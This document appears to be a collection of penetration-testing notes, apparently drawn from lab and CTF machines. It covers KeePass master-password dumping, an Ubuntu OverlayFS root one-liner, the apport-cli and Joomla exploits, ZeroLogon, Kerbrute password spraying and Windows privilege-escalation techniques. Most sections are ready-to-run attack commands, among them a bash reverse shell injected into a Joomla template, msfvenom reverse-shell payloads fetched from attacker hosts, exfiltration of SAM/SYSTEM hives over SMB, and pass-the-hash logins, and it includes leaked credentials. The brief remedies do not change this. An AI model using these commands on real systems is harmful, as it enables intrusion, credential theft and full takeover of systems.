PPK (PuTTY Private Key):

  • Associated Tool: PuTTY
  • Format: Proprietary binary format
  • Usage: PuTTY, a popular SSH and Telnet client for Windows, uses the PPK format for storing private keys.
  • Extension: .ppk
  • Conversion: PPK keys can be converted to other formats, such as PEM, using tools like PuTTYgen (part of the PuTTY suite).

PEM (Privacy Enhanced Mail):

  • Associated Tool: OpenSSL, OpenSSH, and many other SSH clients on Unix-like systems
  • Format: ASCII text (Base64-encoded)
  • Usage: The PEM format is widely used for storing private and public keys. It is a standard format that is not tied to a specific tool or platform.
  • Extension: .pem, .key, .pvt, .priv

Identification

1. Identify the file format

  • file PuTTY-User-Key-File.ppk

Exploitation

1. Convert the file from .ppk to pem

  • puttygen PuTTY-User-Key-File.ppk -O private-openssh -o pem_file.pem
  • file pemfile.pem

Note: you can use this private key to authenticate to different services in this case SSH

2. Assign proper permissions to the key

  • chmod 600 pem_file.pem
  • ls -l pem_file.pem

3. Use it as SSH key

  • ssh root@10.10.11.227 -i pem_file.pem

Note: Incase that it is password protected you can use ssh2john to brute force it

(CVE-2023-32784)[Credential Dumping] KeePass information disclosure (Password Recovery)

KeePass could allow a local attacker to obtain sensitive information, caused by a flaw when performing memory dump. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain master password from a memory dump, and use this information to launch further attacks against the affected system.

It doesn't matter where the memory comes from - can be the process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), various crash dumps or RAM dump of the entire system. It doesn't matter whether or not the workspace is locked. It is also possible to dump the password from RAM after KeePass is no longer running, although the chance of that working goes down with the time it's been since then.

Requirements

  • KeePass 2.23 or earlier
  • Dump file (memory dump)
  • a .kdbx file (database)

Affected Products

KeePass KeePass 2.53

Lab

1. Create a DUMP file by opening task manager and right clicking on KeePass process, Create dumpfile

Exploitation

1. Having a Dump file from KeePass 2.53 version we can run the script https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file, Download this tool as ZIP into a Windows machine

2. Extract the file from the Zip file

3. Run the program and indicate the dump file location, or copy the file within the same directory of the script

  • dotnet run G:\Users\Desktop\KeePass.DMP

4. After the script completes you will have a close or complete password. In this case the password was helloworld, it got elloworld, as you can see the descending lines from 2 to 10.

5. Then you can test importing and opening the file in KeyPass

  • File -> Import
  • Select the format KeePass KDBX (2.x)
  • Select the file from the folder (it has to be a .kdbx format
  • Click OK
  • Enter the Password

Note, you can also search on the internet for some common words, pasting the result into a web browser, it may correct you. Try upper and lower case combinations.

Remedy

Upgrade to the latest version of KeePass (2.54 or later), available from the SourceForge KeePass Project Web site.

if you've been using KeePass for a long time, your master password (and potentially other passwords) could be in your pagefile/swapfile, hibernation file and crash dump(s). Depending on your paranoia level, you can consider these steps to resolve the issue:

  • Change your master password
  • Delete crash dumps (depends on your OS, on Windows at least C:\Windows\memory.dmp, but maybe there are others)
  • Delete hibernation file
  • Delete pagefile/swapfile (can be quite annoying, don't forget to enable it back again)
  • Overwrite deleted data on the HDD to prevent carving (e.g. Cipher with /w on Windows)
  • Restart your computer

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/255380

https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file

https://nvd.nist.gov/vuln/detail/CVE-2023-32784

https://sysdig.com/blog/keepass-cve-2023-32784-detection/

https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/

https://www.youtube.com/watch?v=EXgd4AV-VPQ

https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/

(CVE-2023-32629 & CVE-2023-2640)[Privilege Escalation] GameOver(lay) Ubuntu Privilege Escalation

Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs". By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.

CVE-2023-2640

https://www.cvedetails.com/cve/CVE-2023-2640/

  • On Ubuntu kernels carrying both c914c0e27eb0 and "UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs", an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-32629/

  • Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

Vulnerable kernels

6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

Identification

1. Verify the OS version

  • lsb_release -a

2. Verify the kernel version

  • uname -r
  • uname -a
  • cat /proc/version

Exploitation

1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root

  • unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'

2. After running this command you should become root

Breakdown

  • unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
  • "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;": This is the command that is executed in the new namespace. It does the following:
    • mkdir l u w m: Creates four directories - l, u, w, and m.
    • cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
    • setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
    • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
    • touch m/*: Creates empty files in the m/ directory.
    • &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
    • u/python3 -c 'import os; import pty; os.setuid(0); pty.spawn("/bin/bash")': This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn("/bin/bash").

Remedy

The problem can be corrected by updating your system to the following package versions:

Sources

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-2640/

https://www.cvedetails.com/cve/CVE-2023-32629/

https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

[Privilege Escalation] Java Jar file enumeration/Code Review

.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system's processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.

Enumeration

1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.

  • ps aux | grep -i java

2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:

  • jcmd <PID> help
  • jcmd <PID> VM.system_properties

Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.

3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:

  • lsof -p <process-id> | grep ".jar"

4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.

  • ls -l /proc/<process-id>/cwd
  • cat /proc/<process-id>/cmdline

5. Extract strings from the process memory to identify potential JAR file references:

  • strings /proc/<process-id>/mem | grep ".jar"

6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details

Exploitation

1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui

2. Click open file, locate the .jar, open it

3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords

Note: In this case we found POSTGRESQL database username and password

(CVE-2023–1326)[Privilege Escalation] apport-cli 2.26.0

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

This vulnerability only works if assign in sudoers

Identification

1. Verify that apport-cli is allowed to run with sudo privileges

  • sudo -l

2. Verify that the version is lower than 2.26.0

  • sudo /usr/bin/apport-cli -v

Exploitation

1. Execute apport-cli with parameter file bug (Select any option)

  • sudo /usr/bin/apport-cli --file-bug

2. Select any option

3. Press any key

4. Press V (View Report), this will open a less page as root

5. Now execute a shell, click enter

  • !/bin/bash

6. You’ll get a shell as root

Remedy

Upgrade the apport-cli version

Restrict the assignment to users

Sources

https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

https://github.com/diego-tella/CVE-2023-1326-PoC

[Exploitation] Reverse shell Joomla

This article explains how to create a reverse shell in Joomla platform

1. Log into Joomla platform

  • http://dev.devvortex.htb/administrator/

2. Having access to the Jommla Administrator dashboard navigate to System->Templates->Administrator Templates

  • Select the template you want to edit

3. Go to Index.php (or any other page that is executed)

4. Insert your PHP code in here, and click on save

  • system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.166/4444 0>&1'");

Note: In this case I added a reverse shell, you can use echo first to try to make sure a string is printed and the code executed

  • echo “Vry4n was here!”;

5. Start a listener in your local machine

  • nc -lvp 4444

6. Refresh the Joomla Administrator page, and, you should receive a reverse shell

Remedy

Ensure administrators use strong passwords

Grant administrator access only to users that require it

(CVE-2023-23752)[Exploitation] Joomla! CMS security bypass, Unauthenticated Information Disclosure

Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability. This vulnerability allows unauthenticated users access to webservice endpoints which contain sensitive information. Specifically, for this module we exploit the users and config/application endpoints. This module was tested against Joomla 4.2.7 running on Docker.

As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:

  • curl -v http://dev.devvortex.htb/api/index.php/v1/config/application?public=true

In the proof of concept above, the server responds with the credentials lewis:P4ntherg0t1n5r3c0n##, which are the credentials for our test Joomla! MySQL account.

Affected Products

Joomla! 4.0.0

Joomla! 4.2.7

4.0.0 - 4.2.7

Identification

1. Scan Joomla using JoomScan script (https://github.com/OWASP/joomscan)

  • joomscan --url http://dev.devvortex.htb

Note: Knowing the version is between 4.0.0 - 4.2.7, we can assume this host is vulnerable.

Exploitation #1 (Metasploit)

1. We can use joomla_api_improper_access_checks to exploit this vulnerability

  • use auxiliary/scanner/http/joomla_api_improper_access_checks
  • show options

2. Now set the target host and port if required

  • set RHOSTS dev.devvortex.htb
  • run

Exploitation #2 (Script)

1. We can try another script (https://github.com/Acceis/exploit-CVE-2023-23752)

  • git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
  • cd exploit-CVE-2023-23752
  • ls

2. Install dependencies (OPTIONAL)

  • gem install httpx docopt paint

3. Run the script help menu

  • ruby exploit.rb -h

4. Run the script

  • ruby exploit.rb http://dev.devvortex.htb

Remediation

Upgrade to the latest version of Joomla! CMS (4.2.8 or later), available from the Joomla! Web site.

Sources

https://vulncheck.com/blog/joomla-for-rce

https://exchange.xforce.ibmcloud.com/vulnerabilities/247706

https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html

https://packetstormsecurity.com/files/171474

https://www.mend.io/vulnerability-database/CVE-2023-23752

https://www.rapid7.com/db/modules/auxiliary/scanner/http/joomla_api_improper_access_checks/

(CVE-2020-1472)[Privilege Escalation] ZeroLogon, Microsoft Windows Netlogon

Zero Logon is a purely statistics based attack that abuses a feature within MS-NRPC (Microsoft NetLogon Remote Protocol), MS-NRPC is a critical authentication component of Active Directory that handles authentication for User and Machine accounts. In short -- the attack mainly focuses on a poor implementation of Cryptography. To be more specific, Microsoft chose to use AES-CFB8 for a function called ComputeNetlogonCredential, which is normally fine, except they had hard coded the Initialization Vector to use all zeros instead of a random string. When an attacker sends a message only containing zeros with the IV of zero, there is a 1-in-256 chance that the Ciphertext will be Zero.

Normally, if we tried a statistics based attack on any user account, we would get locked out. This is not the case if we apply this principal to machine accounts. Machines accounts behave in a much different way than standard user accounts.

An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.

To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.

Analyzing the MS-NRPC Logon Process

To analyze where the vulnerability occurs, we'll be using the Diagram provided by Secura as well as Microsoft Documentation to decipher the magic behind Zero Logon. The sources can be found at the bottom of this task.

Zerologon Explained

Step by step of this process

Step 1. The client creates a NetrServerReqChallenge and sends it off [Figure 1. Step 1]. This contains the following values:

  • The DC
  • The Target Device (Also the DC, in our case)
  • A Nonce (In our case is 16 Bytes of Zero).

Step 2. The server receives the NetrServerReqChallenge, the server will then generate it's own Nonce (This is called the Server Challenge), the server will send the Server Challenge back. [Figure 1. Step 2]

Step 3. The client (us) will compute it's NetLogon Credentials with the Server Challenge provided [Figure 1. Step 3]. It uses the NetrServerAuthenticate3 method which requires the following parameters:

  • A Custom Binding Handle (Impacket handles this for us, it's negotiated prior)
  • An Account Name (The Domain Controller's machine account name. ex: DC01$)
  • A Secure Channel Type (Impacket sort of handles this for us, but we still need to specify it: [nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel])
  • The Computer Name (The Domain Controller ex: DC01)
  • The Client Credential String (this will be 8 hextets of \x00 [16 Bytes of Zero])
  • Negotiation Flags (The following value observed from a Win10 client with Sign/Seal flags disabled: 0x212fffff Provided by Secura)

Step 4. The server will receive the NetrServerAuthenticate request and will compute the same request itself using it's known, good values. If the results are good, the server will send the required info back to the client. [Figure 1. Step 4.]

At this point the attempt to exploit the Zero Logon vulnerability is under way. The above steps above will be looped through a certain number of times to attempt to exploit the Zero Logon vulnerability. The actual exploit occurs at Step 3 and 4, this where we're hoping for the Server to a have the same computations as the client. This is where are 1-in-256 chance comes in.

Step 5. If the server calculates the same value, the client will re-verify and once mutual agreement is confirmed, they will agree on a session key. The session key will be used to encrypt communications between the client and the server, which means authentication is successful. [Figure 1. Step 5]

Identification

Nmap

1. Discover the machine netbios name

  • nmap -sV -sC -A -T5 10.10.105.45 -Pn

Note: We can see port 3389 open that is hosting ms-wbt-server and the common name of the server is DC01.hololive.local

Metasploit

1. Test this vulnerability using Metasploit once, you get the netbios name.

  • search cve:2020-1472
  • use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
  • show options

2. Fill the required fields

  • set NBNAME DC01
  • set RHOSTS 10.10.105.45
  • run

Exploitation

1. We’ll use a script (https://github.com/Sq00ky/Zero-Logon-Exploit) to exploit this vulnerability, and change the password

  • git clone https://github.com/Sq00ky/Zero-Logon-Exploit.git
  • cd Zero-Logon-Exploit
  • ls

2. Run this script, we need the DC name and IP

  • python3 zeroLogon-NullPass.py DC01 10.10.105.45

3. Now use, impacket secretsdump to extract all the credentials

  • impacket-secretsdump -just-dc -no-pass DC01\$@10.10.105.45

4. Now we can use the administrator hash to log in using WinRM (pass-the-hash)

  • evil-winrm -u administrator -H "3f3ef89114fb063e3d7fc23c20f65568" -i 10.10.105.45
  • whoami

Remedy

Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

Sources

https://tryhackme.com/room/zer0logon

https://github.com/Sq00ky/Zero-Logon-Exploit

https://exchange.xforce.ibmcloud.com/vulnerabilities/185897

https://msrc.microsoft.com/update-guide/en-us/advisory/CVE-2020-1472

https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e

https://www.exploit-db.com/exploits/49071

https://packetstormsecurity.com/files/160127

https://www.cve.org/CVERecord?id=CVE-2020-1472

https://www.secura.com/whitepapers/zerologon-whitepaper

https://dirkjanm.io/a-different-way-of-abusing-zerologon/

https://www.exploit-db.com/exploits/49071

https://github.com/risksense/zerologon

https://github.com/SecuraBV/CVE-2020-1472

[How to] Kerbrute

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication

https://github.com/ropnop/kerbrute

Kerbrute has three main commands:

  • bruteuser - Bruteforce a single user's password from a wordlist
  • bruteforce - Read username:password combos from a file or stdin and test them
  • passwordspray - Test a single password against a list of users
  • userenum - Enumerate valid domain usernames via Kerberos

A domain (-d) or a domain controller (--dc) must be specified. If a Domain Controller is not given the KDC will be looked up via DNS.

By brute-forcing Kerberos pre-authentication, you do not trigger the account failed to log on event which can throw up red flags to blue teams. When brute-forcing through Kerberos you can brute-force by only sending a single UDP frame to the KDC allowing you to enumerate the users on the domain from a wordlist.

Using Nmap do extract the information needed (Domain)

  • nmap -sC -A -T5 10.10.123.18 -Pn

How to run Kerbrute

1. Download the binary from github (https://github.com/ropnop/kerbrute/releases)

2. Change the binary permissions to add execution

  • chmod 777 kerbrute

3. Execute the binary with (-h) flag to get the help menu

  • ./kerbrute -h

4. Display the tool version

  • ./kerbrute version

How to use

1. Enumerate users, providing a user list, against the DC and the domain

  • ./kerbrute_linux_386 userenum --dc 10.10.165.132 -d spookysec.local ../userlist.txt
  • ./kerbrute_linux_386 userenum --dc 10.10.165.132 --domain spookysec.local ../userlist.txt

2. Password Spray

  • ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

3. Brute User

  • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

4. Brute Force

  • cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

Note: (format username:password)

Extra

1. Modify the number of threads used by the tool

  • ./kerbrute userenum --dc 10.10.165.132 --domain spookysec.local ../userlist.txt -t 50

2. Output is logged to stdout, but a log file can be specified with -o.

  • ./kerbrute userenum --domain spookysec.local ../userlist.txt -o outfile.txt

3. By default, failures are not logged, but that can be changed with -v (verbose)

  • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman -v

4. Lastly, Kerbrute has a --safe option. When this option is enabled, if an account comes back as locked out, it will abort all threads to stop locking out any other accounts

  • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman --safe

[Privilege Escalation] Windows Privileges: SeBackupPrivilege / SeRestorePrivilege

Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

SeBackupPrivilege / SeRestorePrivilege

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator's password hash.

Information Gathering

1. We will need to open a command prompt using the "Open as administrator" option to use these privileges. which by default is granted the SeBackup and SeRestore privileges

  • whoami /priv

Exploitation

Backup SAM & System

1. Save the registry

  • reg save hklm\system system.hive
  • reg save hklm\sam sam.hive

2. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket's smbserver.py to start a simple SMB server with a network share (https://github.com/fortra/impacket/tree/master/impacket)

  • cd /tmp
  • mkdir share
  • locate smbserver.py
  • impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share

Note:

This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. I tried to create a regular public server, due to strict policy I was forced to use the credentials

3. we can use the copy command in our windows machine to transfer both files to our SMB share

  • copy C:\Users\THMBackup\Desktop\sam.hive \\10.9.139.128\public\
  • copy C:\Users\THMBackup\Desktop\system.hive \\10.9.139.128\public\

4. Confirm the files were transferred to our share

  • cd /tmp/share
  • ls

5. Use impacket-secretsdump to decode the credentials

  • impacket-secretsdump -sam sam.hive -system system.hive LOCAL

6. We can finally use the Administrator's hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:

  • impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.209.47

Recommendations

Principle of Least Privilege (PoLP):

  • Adhere to the principle of least privilege. Grant the minimum necessary privileges to accomplish the required tasks. Avoid giving broad administrative privileges when specific backup and restore capabilities are all that is needed.

Secure Backup Operators Group:

  • The Backup Operators group has SeBackupPrivilege. Ensure that membership in this group is limited to trusted individuals who genuinely need backup-related privileges.

[Privilege Escalation] Windows Privileges: SeTakeOwnership

Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

SeTakeOwnership

The SeTakeOwnership privilege in Windows allows a user to take ownership of objects, such as files, registry keys and directories, and modify their security descriptors. This privilege is primarily used for administrative tasks, but it can potentially be abused for privilege escalation if not properly managed, search for a service running as SYSTEM and take ownership of the service's executable. To understand how to prevent SeTakeOwnership privilege escalation, let's discuss the requirements for a successful exploit and then explore preventive measures:

Requirements for Successful SeTakeOwnership Privilege Escalation:

Granting of SeTakeOwnership Privilege:

  • The user must be granted the SeTakeOwnership privilege, either directly or through group membership. Members of the Administrators group typically have this privilege.

Access to Target Objects:

  • The user must have read and execute permissions on the target objects (files, directories) to take ownership. Without the necessary permissions, the user won't be able to access the objects to take ownership.

Information Gathering

1. We will need to open a command prompt using the "Open as administrator" option to use these privileges. SeTakeOwnership should be assigned

  • whoami /priv

Exploitation (Utilman)

1. We'll abuse utilman.exe to escalate privileges. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen

utilman normal behaviour

2. Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.

  • icacls "C:\Windows\System32\Utilman.exe"

3. To replace utilman, we will start by taking ownership of it with the following command:

  • takeown /f C:\Windows\System32\Utilman.exe
  • whoami

Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need.

4. To give your user full permissions over utilman.exe you can use the following command:

  • icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
  • icacls "C:\Windows\System32\Utilman.exe"

5. After this, we will replace utilman.exe with a copy of cmd.exe, (if you can back up utilman it could be great)

  • copy cmd.exe utilman.exe

6. To trigger utilman, we will lock our screen from the start button:

7. And finally, proceed to click on the "Ease of Access" button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:

Extra

Use this with files that might contain credentials such as

  • %WINDIR%\repair\sam
  • %WINDIR%\repair\system
  • %WINDIR%\repair\software
  • %WINDIR%\repair\security
  • %WINDIR%\system32\config\security.sav
  • %WINDIR%\system32\config\software.sav
  • %WINDIR%\system32\config\system.sav
  • %WINDIR%\system32\config\SecEvent.Evt
  • %WINDIR%\system32\config\default.sav
  • c:\inetpub\wwwwroot\web.config

Recommendations

  • Principle of Least Privilege (PoLP)
  • Regularly Audit and Review Permissions
  • Security Policies and Group Memberships

[Privilege Escalation] Insecure Service Permissions

DACL — Discretionary Access Control Lists. These are used by Windows systems to specify who can access a given resource. While they are often referenced when talking about files, they also apply to other components such as registry keys, services and scheduled tasks.

Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

Access Rights for the Service Control Manager

The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

  • SERVICE_CHANGE_CONFIG
  • SERVICE_ALL_ACCESS
  • GENERIC_WRITE
  • GENERIC_ALL
  • WRITE_DAC
  • WRITE_OWNER

Detection

1. List all the services and their permissions, try to find any interesting one (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • .\accesschk.exe /accepteula -uwcqv *

Note: This seems to be an interesting service which has (RW) BUILTIN\Users with SERVICE_ALL_ACCESS

2. Now query the service

  • .\accesschk.exe -qlc thmservice

Note: Here we can see that the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.

3. Query the service for more information

  • sc.exe qc thmservice

Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

Exploitation

1. Knowing we can modify the service we can create a payload to place within the computer

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.139.128 LPORT=4447 -f exe-service -o payload.exe
  • python3 -m http.server 9997

2. Transfer this file to a location that can be read in in the target compiter

  • IWR http://10.9.139.128:9997/payload.exe -OutFile payload.exe
  • dir payload.exe

3. Once the payload is in the target computer, assign full permissions to Everyone

  • icacls C:\Users\thm-unpriv\payload.exe
  • icacls C:\Users\thm-unpriv\payload.exe /grant Everyone:F
  • icacls C:\Users\thm-unpriv\payload.exe

4. Modify the service BINARY_PATH_NAME to be directed to our payload script

  • sc.exe qc THMService
  • sc.exe config THMService binPath= "C:\Users\thm-unpriv\payload.exe" obj= LocalSystem
  • sc.exe qc THMService

5. Start a listener in your local computer, using the same port as the payload

  • nc -lvnp 4447

6. Stop and then start the service

  • sc stop THMService
  • sc start THMService

7. Checking the reverse shell, you should see a connection back

  • whoami

Recommendations

Principle of Least Privilege (PoLP):

  • Follow the principle of least privilege, which means granting the minimum level of access or permissions necessary for a user or system to perform its functions. Avoid giving unnecessary privileges to services or users.

Isolate Services:

  • Run different services in isolated environments or containers to minimize the potential impact of a security breach in one service on others.

Access Controls:

  • Implement robust access controls to restrict access to sensitive resources. Use tools like access control lists (ACLs) and ensure that permissions are properly configured.

Security Policies:

  • Develop and enforce security policies that clearly define acceptable use and access levels. Regularly review and update these policies.

[Privilege Escalation] Insecure Permissions on Service Executable

In Windows, services are programs or processes that run in the background, providing essential functionality to the operating system. Each service is associated with an executable file that defines its behavior

Insecure Permissions on Service Executable Privilege Escalation refers to a security vulnerability where the permissions assigned to a service executable in Windows are improperly configured, allowing unauthorized users or attackers to escalate their privileges and gain higher levels of access on a system. This type of vulnerability can pose a significant threat to the overall security of a system, as it may lead to unauthorized access, data breaches, and potential system compromise.

Common scenarios leading to insecure permissions on service executables include:

  • Improper Configuration: Misconfigurations during service installation or updates may result in insecure file permissions.
  • Weak Access Controls: Services may inherit permissions from parent directories or have default permissions that are overly permissive, allowing non-privileged users to modify or replace the executable.

Procedure

1. Enumerate all services to check if their original .exe (binary) is writable.

2. Modify or change the original binary with your payload .exe binary.

3. Refresh or start the service, the service will execute its .exe & run whatever is written on it with SYSTEM privileges.

Access Rights for the Service Control Manager

The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

  • SERVICE_CHANGE_CONFIG
  • SERVICE_ALL_ACCESS
  • GENERIC_WRITE
  • GENERIC_ALL
  • WRITE_DAC
  • WRITE_OWNER

Detection

PowerUp

1. Running PowerUp, you can find which services are modifiable

  • Import-module .\PowerUp.ps1
  • Get-ModifiableServiceFile

CMD

1. Run accesschk.exe to know which permissions your user has, you need to download this from (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

  • whoami
  • .\accesschk64.exe /accepteula -uwcqv "<User>" *
  • .\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *

Note: In this case we have SERVICE_ALL_ACCESS

2. List all the services and their permissions, try to find any interesting one

  • .\accesschk64.exe /accepteula -uwcqv *

Note: This will show list each service and the groups which have write permissions to that service

3. Query this service for more information

  • sc qc WindowsScheduler

Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

4. Check what permissions you have on the BINARY_PATH_NAME file, (everyone appears to have M – Modify permissions)

  • icacls C:\PROGRA~2\SYSTEM~1\WService.exe

Note: (I) indicates inherited permissions, (F) denotes full control, (RX) represents read and execute permissions, modify permissions (M). if you have an account in any of these groups then you’ve potentially got privilege escalation.

5. Check the permissions on the file

  • .\accesschk64.exe /accepteula -uwqv "C:\PROGRA~2\SYSTEM~1\WService.exe"

6. Check which groups this user is member of

  • net user thm-unpriv

Note: We can see we are part of Users group, which has (RW) permissions on the C:\PROGRA~2\SYSTEM~1\WService.exe file

Exploitation

1. The Everyone group has modify permissions (M) on the service's executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-shell.exe
  • python3 -m http.server 9999

2. Transfer this file to the target machine

  • IWR http://10.9.139.128:9999/rev-shell.exe

3. Once the file has been transferred, start a listener in your local machine

  • nc -lvnp 4445

4. Move to the target folder (C:\PROGRA~2\SYSTEM~1\) and rename the target file (WService.exe) to create a back up

  • cd C:\PROGRA~2\SYSTEM~1\
  • dir Wserv*
  • move WService.exe WService.exe.bak

5. Now move the reverse shell payload to the target directory

  • move C:\Users\thm-unpriv\rev-shell.exe WService.exe
